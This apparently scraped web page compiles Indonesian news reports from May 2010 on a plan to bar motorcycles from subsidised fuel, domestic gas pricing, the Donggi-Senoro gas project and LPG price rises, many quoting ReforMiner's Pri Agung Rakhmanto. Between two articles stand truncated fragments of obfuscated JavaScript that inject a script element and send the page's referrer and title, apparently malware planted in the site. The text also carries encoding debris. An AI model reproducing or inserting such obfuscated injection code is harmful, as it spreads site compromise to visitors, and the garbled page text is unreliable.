Membatasi Penggunaan BBM Subsidi untuk Motor Dinilai Tidak Logis

Jawa Pos, 28 Mei 2010

JAKARTA – Rencana kebijakan Kementerian Energi dan Sumber Daya Mineral membatasi penggunaan bahan bakar minyak (BBM) bersubsidi untuk kendaraan roda dua dinilai tidak logis. Sebab, kebutuhan BBM untuk motor tidak sampai sepertiga dari total konsumsi BBM.

Kebijakan tersebut juga tidak layak dilaksanakan karena kendaraan roda dua bukan barang mewah. Di samping itu, motor merupakan moda angkutan kelas menengah ke bawah. Mereka memilih motor karena pertimbangan murah, hemat, dan fleksibel.

Direktur Eksekutif Reforminer Institute Pri Agung mengungkapkan, konsumsi premium sepeda motor sekitar 5,76 juta kiloliter per tahun atau hanya 27 persen dari kuota premium subsidi yang jumlahnya 21 juta kiloliter per tahun. Sisanya, 73 persen, dikonsumsi mobil. ”Artinya, kalau mau mengontrol konsumsi premium, yang lebih signifikan itu di mobil, bukan motor. Kebijakan yang konsepnya makin tidak jelas,” tuturnya saat dihubungi kemarin (27/5).

Pengamat otomotif Soehari Sargo menambahkan, jumlah sepeda motor di Indonesia saat ini sekitar 40 juta unit. Sedangkan jumlah mobil sekitar 11 juta unit. Bila 3 juta mobil dengan kapasitas mesin 1.500 cc menggunakan premium, konsumsinya jauh lebih banyak jika dibandingkan dengan 40 juta sepeda motor yang mesinnya hanya 125 cc. ”Jadi, jangan menghitung populasinya saja,” kata Soehari kemarin.

Selain itu, pemerintah seharusnya mempertimbangkan masalah sosial. Melalui penghitungan kasar, dengan konsumsi BBM subsidi 2 liter per hari, pengendara akan mengeluarkan Rp 9.000. Namun, bila menggunakan premium pertamax dengan harga Rp 7.000 per liter, pengendara akan mengeluarkan Rp 14.000, atau Rp 5.000 lebih mahal. ”Artinya, dalam sebulan mereka harus mengeluarkan Rp 125 ribu lebih mahal (dengan asumsi 25 hari kerja),” jelasnya. Bagi kalangan menengah ke bawah, menurut Soehari, pengeluaran Rp 125 ribu per bulan itu sangat besar. ”Ini tentu akan menimbukan masalah sosial baru,” tegasnya.

Kepala Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) Tubagus Haryono mengatakan, larangan (penggunaan) BBM bersubsidi perlu untuk menekan tingginya pertumbuhan populasi sepeda motor di tanah air. ”Pertumbuhan jumlah sepeda motor sudah cukup tinggi, sekitar 5-6 persen per tahun,” ujar Tubagus Haryono kemarin. Menurut dia, jumlah sepeda motor sudah tidak terkendali sehingga dikhawatirkan akan meningkatkan penggunaan BBM bersubsidi.

Rencana pembatasan penjualan BBM bersubsidi itu muncul paling akhir dalam rapat yang dihadiri perwakilan BPH Migas, Direktorat Jenderal Migas Kementerian ESDM, Kementerian Perhubungan, Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo), Asosiasi Industri Sepeda Motor Indonesia (AISI), serta Ditlantas Polri. ”Opsi itu (motor dilarang beli bensin premium) kan masih wacana,” katanya.

Selain opsi tersebut, dia menyatakan sejumlah opsi lain muncul dalam rapat itu. Opsi tersebut, antara lain, hanya kendaraan berpelat kuning atau kendaraan umum yang boleh menggunakan BBM bersubsidi. Selain itu, mobil pribadi yang diproduksi di atas tahun 2007 dilarang menggunakan premium. ”Kan ada juga opsi lainnya. Tapi, semuanya masih dibahas dan belum diputuskan secara final,” lanjutnya.

Pembatasan penggunaan BBM bersubsidi di tanah air harus dilakukan. Sebab, jika tidak dibatasi, konsumsi BBM bersubsidi akan membengkak menjadi 40,1 juta kiloliter. Sementara itu, kuota yang sudah ditetapkan dalam APBNP 2010 adalah 36,5 juta kiloliter. Konsumsi premium pada tahun ini diperkirakan meningkat menjadi 23,3 juta kiloliter dari realisasi penyaluran BBM pada 2009 sebesar 21,2 juta kiloliter.

Di tempat terpisah, Direktur Utama Pertamina Karen Agustiawan menyatakan, pihaknya tidak berwenang mengomentari hal tersebut. Namun, jika kebijakan itu benar-benar diterapkan, sebagai pelaksana, BUMN migas tersebut siap melaksanakan.

BBM Motor Tetap Disubsidi

Seputar Indonesia, 28 Mei 2010

JAKARTA (SI) -A�Menteri Energi dan Sumber Daya Mineral (ESDM) Darwin Zahedy Saleh akhirnya angkat bicara soal polemik pembatasan konsumsi bahan bakar minyak (BBM) bersubsidi. Dia memastikan kendaraan roda dua (sepeda motor) tetap mendapatkan BBM bersubsidi. Darwin mengakui,pemerintah saat ini mengkaji berbagai skemapengetatan konsumsi BBM bersubsidi. Namun,dia menjamin kebijakan itu tidak akan diberlakukan terhadap kendaraan angkutan umum dan golongan masyarakat tidak mampu, termasuk pengendara sepeda motor. Dengan demikian, ujar Menteri ESDM,para pengendara sepeda motor tidak perlu khawatir.

Konsumen BBM dari kalangan kendaraan roda dua tidak perlu khawatir tentang itu karena kebijakan pengetatan tidak ditujukan kepada kelompok masyarakat ini, ujar Darwin dalam pesan singkat kepada harian Seputar Indonesia (SI) di Jakarta kemarin. Wacana pembatasan konsumsi BBM bersubsidi ini menjadi polemik setelah Direktur Jenderal Minyak dan Gas Bumi (Migas) Kementerian ESDM Evita H Legowo, Rabu (26/5), mengungkapkan opsi pembatasan BBM bersubsidi bagi sepeda motor.Wacana itu segera ditanggapi berbagai kalangan seperti masyarakat umum,DPR,dan produsen automotif. Pada umumnya mereka menilai opsi itu tidak tepat.

Darwin mengungkapkan, pemerintah memang tengah mengkaji berbagai skema agar subsidi semakin tepat sasaran. Langkah itu perlu dilakukan lantaran sektor transportasi merupakan penerima subsidi BBM terbesar, yakni sekitar 90%.

Pemerintah akan lebih memfokuskan diri pada pengetatan distribusi BBM bersubsidi agar tidak ikut dinikmati mereka yang tergolong mampu, misalnya kendaraan mewah, ungkapnya. Kepala Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) Tubagus Haryono menjelaskan,selama ini orientasi pengendalian BBM bersubsidi lebih ditekankan di sisi suplai.Adapun dari sisi permintaan belum dikelola dengan baik. A�Sekarang kita mencoba melakukan pengendalian dari sisi permintaan, ujar Tubagus. Saat disinggung tentang wacana pembatasan pembelian BBM bersubsidi bagi sepeda motor,Tubagus menuturkan, hal itu baru muncul pada akhir-akhir pembahasan.

Salah satu pertimbangannya adalah karena populasi sepeda motor semakin meningkat setiap tahun. Meski demikian, dia menegaskan segala sesuatunya belum diputuskan dan masih bersifat wacana. A�Itu akhir-akhir baru dibicarakan, ujarnya.

Direktur EksekutifA�Reforminer InstituteA�Pri Agung Rakhmanto mengatakan, opsi pembatasan pembelian BBM tidak akan efektif. Menurutnya,saat ini yang harus dilakukan pemerintah adalah membenahi transportasi massal sehingga penggunaan kendaraan pribadi, baik kendaraan roda empat maupun sepeda motor, berkurang. A�Kalau memang ingin efektif dan menyelesaikan sampai akar masalah ya benahi transportasi massal itu. Kalaupun terpaksa pembatasan itu, ya pilihlah yang lebih rasional dan lakukan secara bertahap, ungkap Pri Agung. Dia menuturkan, untuk tahap awal, pemerintah bisa membatasi pembelian BBM bersubsidi untuk kendaraan milik pejabat. Setelah itu menyusul pembatasan untuk kendaraan pribadi mewah.

Batasi mobil pejabat dulu lalu mobil pribadi mewah, lalu biasa, baru motor. Kalau motor dulu dampak sosialnya besar karena pemilik motor relatif orang yang kurang mampu dibandingkan pemilik mobil, ujarnya. Pengurus Harian Yayasan Lembaga Konsumen Indonesia (YLKI) Tulus Abadi menilai, pembatasan pembelian BBM bersubsidi bagi sepeda motor adalah sesuatu yang konyol apabila dilakukan saat ini. Pasalnya,tidak ada keinginan dari pemerintah untuk melakukan perbaikan transportasi massal terlebih dahulu.

Intinya boleh bahwa subsidi bukan untuk kendaraan pribadi. Tapi kalau diterapkan sekarang, tanpa perbaikan angkutan umum massal, itu konyol, paparnya. Anggota Komisi VII DPR M Romahurmuziy berpendapat, sepeda motor tetap harus menjadi penerima BBM bersubsidi. Meski tingkat pertumbuhannya cukup tinggi, sepeda motor adalah moda transportasi rakyat ekonomi menengah ke bawah yang paling efektif. A�Jangan (juga) mematikan industri motor nasional yang terus tumbuh, ungkap Romahurmuziy. Dia akan meminta penjelasan pemerintah mengenai alasan pembatasan pembelian BBM bersubsidi. Pasalnya, terdapat penambahan subsidi BBM lebih dari Rp20 triliun pada APBN-P 2010.

Kami menyetujui adanya penambahan besaran subsidi BBM dalam perubahan anggaran dengan catatan penggunaan BBM tidak dikendala dengan pembatasan-pembatasan, A�ujarnya. Ketua Kelompok Komisi (Kapoksi) Badan Anggaran ini juga menegaskan, pembatasan pembelian BBM bersubsidi harus menjadi alternatif terakhir dan hanya dikenakan pada kendaraan pribadi dengan kapasitas silinder 1.500 cc ke atas. Adapun angkutan umum dan barang tetap harus mendapatkan prioritas sebagai penerima BBM bersubsidi. Di sisi lain dia juga meminta pemerintah, dalam hal ini Kementerian ESDM, memaparkan kepada publik hasil uji coba metode smart card yang sudah menelan anggaran miliaran rupiah dalam dua tahun anggaran.

Uji coba jangan sekadar berorientasi proyek menghabiskan anggaran, kemudian melangkah pada skenario lain, tuturnya. Sebelumnya,Wakil Ketua Asosiasi Industri Sepeda Motor Indonesia (AISI) Johanes Loman berharap rencana pemerintah yang melarang pengguna motor memakai BBM bersubsidi dikaji ulang. Pasalnya, sebagian besar rakyat masih menjadikan motor sebagai transportasi utama dalam mencari nafkah. Sepeda motor dipilih lantaran keberadaannya sebagai alat transportasi yang praktis dan ekonomis.

Mestinya Mobil Mewah yang Dilarang Pakai BBM Bersubsidi

Detikfinance.com, 26 mei 2010

Jakarta – Pemerintah seharusnya lebih dulu melarang mobil-mobil mewah yang berseliweran mengkonsumsi BBM bersubsidi, bukannya malah melarang motor mengkonsumsi BBM bersubsidi. Demikian disampaikan oleh Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto saat dihubungi detikfinance , Rabu (26/5/2010).

“Mestinya bukan motor dulu yang dilarang, tapi mobil mewah, lalu mobil biasa, baru setelah itu motor. Motor itu sekarang jadi alternatif karena buruknya transportasi publik yang ada,” tegas Pri Agung.

Pri Agung mengatakan, konsumsi premium sepeda motor besarannya sekitar 5,76 juta KL per tahun atau hanya 27% dari kuota premium subsidi yang jumlahnya 21 juta KL per tahun. Sisanya sebanyak 73% dikonsumsi oleh mobil. Sebelumnya, Dirjen Migas Evita Legowo mengatakan, pemerintah berencana melarang penggunaan bahan bakar minyak (BBM) bersubsidi yaitu premium untuk sepeda motor.

Hal ini merupakan hasil kesepakatan dari pembicaraannya dengan Asosiasi Industri Sepeda Motor Indonesia (AISI). Menurut Evita, saat ini pihaknya masih membicarakan mengenai mekanisme penerapan pembatasan konsumsi BBM bersubsidi. Namun berdasarkan hasil pembicaraan dengan berbagai pihak sudah disepakati bahwa yang masih menggunakan BBM subsidi adalah kendaraan umum dan kendaraan pribadi jenis tertentu.

“Semuanya sepakat utama untuk angkutan umum dan plus. Nah Plusnya belum sepakat. Apakah berdasarkan tahun pembuatan atau cc,” ungkapnya.

Ia berharap mekanisme penerapan pembatasan konsumsi BBM bersubsidi tersebut sudah diputuskan pada akhir Juni. Rencananya hal ini akan mulai diterapkan pada bulan Agustus 2010.

Agus Diharapkan Akomodatif Terhadap Sektor Energi

ANTARA, 20 mei 2010

Jakarta (ANTARA News) – ReforMiner Institute mengharapkan kepada Menteri Keuangan yang baru, Agus Martowardoyo agar lebih akomodatif terhadap pengembangan sektor energi dan pertambangan.

Direktur ReforMiner Institute Pri Agung Rakhmanto di Jakarta, Kamis mengatakan, latar belakang sebagai bankir diharapkan menjadi modal bagi Agus lebih memperhatikan sektor riil termasuk energi dan pertambangan.

“Agus diharapkan lebih akomodatif terhadap sektor energi terutama menyangkut ketentuan perpajakan,” katanya.

Ia juga berharap, Menkeu baru itu membuat terobosan dalam hal fiskal khususnya menyangkut pembiayaan pemerintah untuk infrastruktur energi.

Pri Agung menambahkan, Agus bisa mencontoh Sri Mulyani yang selama menjabat Menkeu telah peduli dan mau mendengar masukan khususnya terkait asumsi makro APBN.

“Itu bagus dan perlu dilanjutkan,” katanya.

Namun, lanjutnya, langkah Sri Mulyani yang terlibat terlalu jauh misalkan dalam hal kebijakan pengembalian biaya operasi migas (cost recovery) hingga menggulirkan rancangan peraturan pemerintah (RPP) cost recovery sebaiknya tidak diikuti.

Pri Agung berharap banyak kepada Agus dan Wakil Menkeu Anny Ratnawati akan menjadi duet yang membawa sektor energi dan pertambangan berkembang lebih optimal.

]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Kebijakan Gas Butuh Ketegasan Pemerintah

Media Indonesia,A�19 mei 2010

JAKARTA–MIA�Komitmen pemerintah untuk mengutamakan pasokan gas domestik guna mendorong pertumbuhan ekonomi nasional memberi harapan bagi konsumen di dalam negeri. Namun masalah kebijakan harga (pricing policy) tidak bisa serta merta mengejar harga pasar internasional karena harus diimbangi dengan kemampuan daya beli konsumen domestik.

“Pricing policy penting karena ekksplorasi gas harus ada pembeli. Harus ada titik keseimbangan di mana produsen tidak semena-mena menetapkan harga jual. Namun konsumen juga harus realistis untuk bisa membeli gas pada kisaran US$5-US$6 per mmbtu. Karena kalau dibandingkan dengan harga bahan bakar minyak (BBM) industri di kisaran US$13 per liter, gas masih jauh lebih murah,” ujar Anggota Komisi VII DPR, Dito Ganinduto, kepadaA�Media Indonesia, di Jakarta, Rabu (19/5).

Selain itu masalah infrastruktur juga harus menjadi bagian dari kebijakan gas nasional yang menyeluruh. “Tanpa jaminan pasokan dari produsen rencana pembangunan jaringan pipa gas sulit dikejar karena akan sulit memperoleh pendanaan. Misalnya perpanjangan jaringan South Sumatera West Java (SSWJ) maupun pipa Kalimantan-Jawa (Kalija) sulit mencari investor,” ujarnya. Namun di atas semua itu, imbuhnya pemerintah harus berani melakukan negosiasi ulang untuk pasokan gas ke luar negeri.

“Misalnya pasokan melalui pipa SSWJ ke Singaputa sekitar 750 juta standar kaki kubik per hari (mmscfd). Di sana dipakai untuk pembangkit listrik sementara disini PLTGU Muara Tawar defisit gas hingga 100 mmscfd. Ini ironis. Pemerintah harus berani bernegosiasi mengurangi volume pasokan,” ujar Dito. Selain itu, imbuhnya mencapai daya beli yang memadai pengusaha harus melakukan efisiensi operasional. “Salah satunya pemerintah harus juga menghilangkan biaya ekonomi tinggi yang membebani industri dan konsumen gas domestik.

Yang lebih penting pemerintah harus mendorong investasi pengusaha nasional dalam pembangungan pipanisasi distribusi gas dan kilang penyimpan dan penerima gas,” ujarnya Sementara itu, kalangan industri pengguna gas mengkhawatirkan komitmen pemerintah tersebut tidak bisa terwujud dalam waktu dekat. Realisasinya hanya mungkin dicapai bila kebijakan ekspor gas semakin dikurangi dan bahkan dihentikan. Demikian diungkapkan Ketua Asosiasi Keramik Indonesia (Asaki) Ahmad Widjaya. “Kapan pemerintah bisa stop ekspor gas alam dan (mewujudkan) priotas pasokan domestik,” ujar Ahmad melalui pesan singkat. Pihaknya juga meminta supaya pemerintah memberi patokan harga yang terjangkau oleh konsumen domestik. “Kita berharap tidak akan ada perubahan harga domestik secara dratis,” ujarnya.

Karena itu, imbuh Ahmad, komitmen pemerintah ini harus diwujudkan dalam bentuk kemauan politik (political will). “Semua itu harus ada political will. Saat ini pengusaha selalu dikorbankan, sebab pemerintah lebih pro pada sektor makro ekonomo dan tidak menerawang mikro lagi. Sehingga perubahan iklim industri tidak pernah ada,” pungkas Ahmad. Menurut Direktur EksekutifA�ReforMiner Institute, Pri Agung Rakhmanto komitmen Wapres tersebut bukan merupakan sesuatu yang baru. “Sudah lama dicanangkan dan diwacanakan, namun implementasinya sering tidak sejalan,” ujarnya.

Menurut Pri Agung, komitmen itu juga butuh konsistensi dalam pelaksanaannya. “Jadi tidak hanya politis atau kasuistis sebgagai justifikasi tertundanya proyek Donggi Senoro misalnya,” ujar Pri Agung. Menurutnya, penyesuaian dan transparansi harga gas domestik memang harus diterapkan. “Terutama harga jual dari KKKS ke PGN sebagai distributor. Kalau harga jual di konsumen akhir sebenrnya banyak yang sudah setara dengan harga internasional yang sekarang beada di kisaran US$4 – US$6 per mmbtu,” papar Pri Agung.

Harga jual gas di kepala sumur (wellhead) yang rendah (di kisaran US$1-US$2/mmbtu) saat ini bukan saja akan mmbuat penerimaan negara kecil namun juga akan membahayakan kelangsungan pasokan gas itu sendiri. “Karena hal itu akan menyurutkan minat KKKS untuk bproduksi dan memasok kebutuhan domestik,” ujarnya. Terkait masalah infrastruktur, ia menyarankan supaya pemerintah tidak hanya mengandalkan PGN saja. “Buka seluas-luasnya bagi siapa saja yang berminat. Namun untuk menarik investor prlu ada kejelasan tingkat pengembalian usaha, yang mestinya menjadi tugas pemerintah untuk menyediakan informasi dan pemetaannya,” ujar Pri Agung. Saat dikonfirmasi, Direktur Jenderal Minyak dan Gas Bumi (Dirjen Migas) Kementerian ESDM, Evita Herawati Legowo menyatakan komitmen pemerintah tersebut akan segera diwujudkan dalam bentuk kebijakan teknis. “Apa yang dikatakan wapres adalah pekerjaan rumah (PR) untuk kita.

Memang ekspor gas baru akan dilakukan apabila ada kelebihan pasokan. Namun masalah terpenting bukan orientasi domestik atau ekspor. Yang menentukan harga gas menurut UU Migas (Nomor 22/2001) adalah pemerintah. Namun pemerintah harus mendengar dari semua pihak,” ujarnya. Usulan penetapan harga gas dengan mengikuti harga pasar (spot market) untuk domestik belum dibahas karena pasokan gas yang ada belum mencukupi permintaan pelanggan.

“Belum bisa selama pasokan belum mencukupi permintaan,” ujarnya. Menurut Evita untuk mencapai harga gas yang ekonomis dibutuhkan adanya jaminan pasokan gas, margin yang rasional dan harga yang terjangkau. “Itu harus kita perhitungkan,” ujarnya. Namun pemerintah masih belum berpikir untuk memberikan subsidi harga gas untuk pasokan domestik ini. “Subsidi memang kewajiban pemerintah, bukan kontraktor. Karena kalau kontraktor untuk menjaga kelangsungan bisnis, orientasi keuntungan pasti menjadi tujuan. Saat ini subsidi gas hanya diberikan pada rumah tangga dan UKM (elpiji 3 kg). Selain itu kami tengah membahas subsidi bahan bakar gas untuk transportasi,” ujar Evita.

Donggi-Senoro agar Segera Diputuskan

kompas, 12 Mei 2010

Jakarta, Kompas – Pemerintah diharapkan tidak terus menunda keputusan mengenai proyek pengembangan lapangan gas Donggi-Senoro. Jika semakin ditunda, pemerintah akan menyeret kasus ini ke ranah politik dan berisiko membuat proyek tersebut mentah kembali dengan risiko kehilangan momentum pasar.

Demikian benang merah diskusi bertema A�Menanti Keputusan dan Transparansi Proyek Pengembangan Lapangan Gas Donggi-Senoro A�yang diprakarsai Indonesian Resources Studies, Selasa (11/5) di Jakarta.

Pengamat energi Pri Agung Rakhmanto menyatakan, jika Wakil Presiden Boediono tidak dapat memutuskan, masalah Donggi-Senoro sebaiknya diputuskan di sidang kabinet yang langsung dipimpin Presiden. Kemudian hasil keputusan itu segera dieksekusi Menteri Energi dan Sumber Daya Mineral.

Keputusan atau penyelesaian kasus Donggi-Senoro hendaknya tidak didasarkan atas pertimbangan politis dan populis. Tetapi, hendaknya lebih mengedepankan obyektivitas dengan mempertimbangkan kepentingan nasional dan kepentingan pemangku kepentingan lain, A�kata Pri Agung.

Skenario kombinasi ekspor 75 persen dan domestik 25 persen yang oleh berbagai kajian dinyatakan sebagai skenario terbaik merupakan opsi yang secara obyektif paling realistis mengingat proyek itu tidak didanai sendiri oleh pemerintah, tetapi oleh Pertamina dan Medco. A�Kepentingan perekonomian nasional dan daerah relatif terakomodasi dengan opsi itu, A�ujarnya menegaskan.

Namun, anggota DPR, Chandra Tirta Wijaya, menilai, pemanfaatan gas Donggi-Senoro harus prioritas untuk domestik mengingat kebutuhan gas yang terus meningkat, terutama bagi PT Perusahaan Listrik Negara (PLN), industri logam, keramik, dan industri pupuk.

Direktur Eksekutif Indonesian Resources Studies Marwan Batubara menambahkan, konsep proyek harus dengan skema hulu ataupun hilir agar pemerintah dan BUMN mendapat manfaat dalam tiap peluang bisnis gas. A�Pemerintah harus menetapkan harga jual gas. Masalahnya bukan pada kemampuan PLN dan BUMN lain membeli gas dengan harga lebih mahal, melainkan peran pemerintah untuk bertindak tepat sesuai kepentingan nasional dengan memerhatikan aspek keekonomian, A�ujarnya.

Sementara itu, Kepala Divisi Humas, Sekuriti, dan Formalitas Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) Agus Suryono menyatakan, PT Pertamina (Persero) dan PT Medco Energi Internasional berniat mengebor 40 sumur baru di Senoro dan Matindok. Pengeboran setelah pemerintah memutuskan pengembangan lapangan gas Donggi-Senoro.

 

Kenaikan Harga Elpiji 12 Kg Tinggal Tunggu Waktu

Metrotvnews.com, 11 mei 2010

Jakarta: Kenaikan harga elpiji ukuran 12 kilogram tinggal tunggu waktu. Pasalnya, dengan harga lama, PT Pertamina terus merugi. Demikian dikatakan Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto di Jakarta, Selasa (11/5).

Tapi, menurut Pri, Pertamina harus memikirkan waktu yang tepat untuk menggenjot harga elpiji 12 kg ke harga keekonomian. Tak bisa dilakukan sekaligus karena bisa melahirkan resistensi dari masyarakat. Apalagi tahun ini rencanaya ada juga kenaikan tarif dasar listrik.

Pri mengatakan, kenaikan harga memang diperlukan supaya pada akhirnya bisnis elpiji nonsubisdi tidak terlalu merugikan Pertamina.

“Namun tetap tak bisa dilakukan sekaligus karena akan memberatkan warga. Tidak bisa dihindarkan kalau harga elpiji 12 kg dinaikkan, mengingat saat ini harga keekonomiannya sekitar Rp 7.500 per kg, sementara harga jual masih Rp 5.000-an,” ujar Pri.

Anggota Komisi VII DPR Dewi Aryani Hilman mengingatkan Pertamina tidak menaikkan harga tanpa persetujuan DPR. “Kebijakan pemerintah ini sama dengan menghukum rakyat,” tegas Dewi.

xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pengamat : Rekomendasi Donggi-Senoro 75% Ekspor & 25% Domestik

Okezone.com, 11 mei 2010

Jakarta – Terus ditundanya pengambilan keputusan atas proyek gas Donggi-Senoro, Sulawesi Tengah, mengundang berbagai pihak meminta pemerintah segera mengambil keputusan. Salah satunya datang dari Reforminer Institute.

Direktur EksekutifA�Reforminer InstituteA�Pri Agung Rakhmanto merekomendasikan skenario kombinasi ekspor sebesar 75 persen dan domestik sebesar 25 persen. “Setiap putusan pasti tidak akan menguntungkan setiap pihak. Masalahnya adalah kita siap tidak kalau seluruhnya untuk domestik A�Lalu, masalah waktu. Untuk itu, sekarang harus ada skenario ekspor dan domestik. Menurut saya itu memang tidak ideal, tapi realistis,” tutur Pri Agung saat seminarA�Menanti Keputusan dan Transparansi Proyek Gas Donggi-Senoro, di Gedung Nusantara V DPR, Jakarta, Selasa (11/05/2010).

Menurutnya, skenario tersebut berdasarkan pada pertimbangan objektifitas atas kepentingan nasional dan stakeholder terkait agar putusan Donggi-Senoro ini nantinya tidak didasarkan atas pertimbangan politis dan populis. Selain itu, ada juga pertimbangan ketahanan energi dan tekno-ekonomi.

Dalam konteks ketahanan energi, menurutnya skenario ini tetap mengalokasikan sejumlah gas untuk kebutuhan gas domestik. Sementara dari aspek tekno-ekonomi, menurutnya itu relatif paling berpotensi memberikan keuntungan maksimal.

“Opsi ini realistis karena proyek tidak didanai sendiri oleh pemerintah, tetapi oleh investor, dalam hal ini Pertamina dan Medco yang juga harus menggandeng pihak lain untuk mmebuat proyek ini dapat terlaksana. Ekspor memberikan devisa, alokasi domestik bisa menggerakkan ekonomi daerah,” jelasnya.

Oleh karena itu, dia juga menyarankan agar pemerintah segera mengambil keputusan mengenai proyek Donggi-Senoro ini.

“Semakin ditunda, secara sadar atau tidak pemerintah akan menyeret kasus ini ke ranah politik dan akan beresiko kehilangan momentum pasar di mana harga akan lebih rendah dan memperburuk iklim investasi migas yang bisa memperparah krisis gas domestik,” tukasnya.

 

Sulteng Berharap Rp1,2 Triliun per Tahun dari Donggi Senoro

JAKARTA–MI:

Keputusan proyek Donggi Senoro tidak hanya ditunggu pihak pengembang dan pembeli gas alam tersebut. Masyarakat di Provinsi Sulawesi Tengah yang juga menanti realisasi proyek di daerah tersebut berharap adanya penerimaan daerah hingga Rp1,2 triliun per tahun selama 15 tahun.

“Setiap tahun Sulteng akan mendapat Rp1,2 triliun dengan rincian untuk Kabupaten Banggai sebagai daerah penghasil gas tersebut Rp480 miliar per tahun, 9 kabupaten dan 1 kota nonpenghasil Rp480 milyar per tahun, dan pemerintah provinsi akan mendapatkan Rp240 miliar per tahun,” ujar anggota Dewan Perwakilan Daerah (DPD) dari Sulteng Nurmawati Dewi Bantilan dalam Seminar Menanti Keputusan dan Transparansi Proyek Gas Donggi Senoro di Jakarta, Selasa (11/5).

Menurutnya, dengan asumsi harga minyak mentah US$70 per barel, total pendapatan negara, baik pusat maupun daerah dari dana bagi hasil selama 15 tahun, akan memperoleh US$6,4 miliar atau rata-rata per tahunnya US$420 juta. “Bila ditotal, selama 15 tahun pemda akan memperoleh dana hingga Rp18 triliun. Ini jumlah yang cukup besar untuk memajukan Sulteng,” ujarnya. Selain menambah pendapatan daerah, proyek ini dapat membantu mengurangi jumlah pengangguran yang tinggi di sana. Ia memperkirakan jumlah tenaga kerja yang bisa diserap untuk pengembangan sektor hulu dan hilir proyek ini kerja mencapai 5.000 pekerja. Pada saat beroperasi diperkirakan akan menyerap tenaga kerja sekitar 700 orang. “Diharapkan keberadaan proyek gas ini nantinya dapat menjadi lokomotif pembangunan di wilayah Sulawesi Tengah sehingga kualitas hidup masyarakat dapat meningkat,” ujarnya. Karena itu, ia berharap pemerintah dapat mengeluarkan sikap tegasnya terhadap keberlanjutan proyek gas Donggi-Senoro ini dalam waktu dekat. “Kami yakin pemerintah akan bersikap bijaksana, tidak hanya memperhitungkan kebutuhan gas dan penerimaan devisi, namun juga peluang daerah untuk terus berkembang,” ujarnya. Menurut Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto, keputusan proyek Donggi Senoro bisa dilakukan dalam koridor aturan hukum dan hitungan keekonomian yang memadai. “Pengambilan keputusan Senoro harus mengedepankan objektivitas dengan mempertimbangkan semua kepentingan yang ada,” ujar Pri Agung. (Jaz/OL-04)

Wapres Diminta Buktikan Senoro Tidak Tersandera Politik

ANTARA, 9 Mei 2010

Jakarta (ANTARA News) -A�Sejumlah kalangan meminta Wakil Presiden (Wapres), Boediono, membuktikan pengambilan keputusan mengenai pengembangan gas Senoro di Sulawesi Tengah tidak tersandera permasalahan politik yang terjadi sekarang ini. Demikian disampaikan anggota Komisi VII DPR dari Fraksi PPP, M. Romahurmuziy dan Direktur ReforMiner Institute Pri Agung Rakhmanto saat dihubungi di Jakarta, Minggu.

Romahurmuziy yang akrab disapa Rommy meminta, Wapres mesti mengambil keputusan Senoro dengan tidak menyia-siakan mendapatan devisa, namun tanpa mengorbankan kepentingan domestik

. “Dengan demikian, keputusan kombinasi ekspor dan domestik merupakan skenario terbaik yang mesti diambil,” katanya. Wapres Boediono dijadwalkan melakukan rapat terbatas membahas kelanjutan proyek Senoro pada Senin (10/5) atau paling lambat dalam pekan ini.

Menteri ESDM Darwin Saleh rencananya akan memaparkan data tambahan Senoro yang diminta Wapres. Sebelumnya, Wapres Boediono meminta kepada Kementerian ESDM menyiapkan data tambahan berupa rencana pemenuhan kebutuhan gas baik dari dalam maupun luar negeri dalam jangka pendek.

Dirjen Migas Kementerian ESDM Evita Legowo mengatakan, pihaknya sudah menyiapkan data tambahan yang diminta Wakil Presiden Boediono. “Kami sudah siapkan data tambahannya untuk melengkapi data sebelumnya,” katanya, Jumat (7/5)

Proyek Senoro ditargetkan sudah ada keputusan sebelum Wapres Boediono meninggalkan Tanah Air menuju Arab Saudi dan Iran, pada 13 Mei 2010. “Kami harapkan putusan Senoro sudah dapat dilakukan pada kesempatan sidang kabinet yang dipimpin Wapres, Senin (10/5),” kata Rommy.

Populis Hal senada dikemukakan Pri Agung Rakhmanto. Menurut dia, Wapres hendaknya tidak mengambil keputusan Senoro dengan pertimbangan politis maupun populis. “Pengambilan keputusan Senoro harus mengedepankan obyektifitas dengan mempertimbangkan semua kepentingan yang ada,” ujarnya.

Ia mengatakan, keputusan Senoro juga mesti berdasarkan kelayakan teknis dan ekonomis sesuai kajian yang telah dilakukan. “Konkretnya, skenario kombinasi ekspor sebanyak 75 persen dan 25 persen lainnya buat domestik yang oleh banyak kajian dianggap terbaik itulah yang semestinya dijadikan sebagai keputusan final Senoro,” tambahnya. Ia juga mengharapkan, pemerintah tidak mengulang kesalahan saat memutuskan alokasi seluruh gas Senoro buat domestik yang sarat muatan politis dan populis pada pertengahan tahun lalu.

Hasil kajian independen Lembaga Afiliasi Penelitian dan Industri Institut Teknologi Bandung (ITB) menyimpulkan, skenario terbaik pengembangan gas Senoro adalah kombinasi ekspor gas alam cair (LNG) sebesar 335 juta kaki kubik per hari (MMSCFD) dan pemakaian dalam negeri bagi PT Pusri 60 MMSCFD dan PT PLN 30 MMSCFD. Proyek pengembangan gas Senoro yang diperkirakan menelan investasi 3,7 miliar dolar AS terdiri dari dua bagian yakni hulu dan hilir.

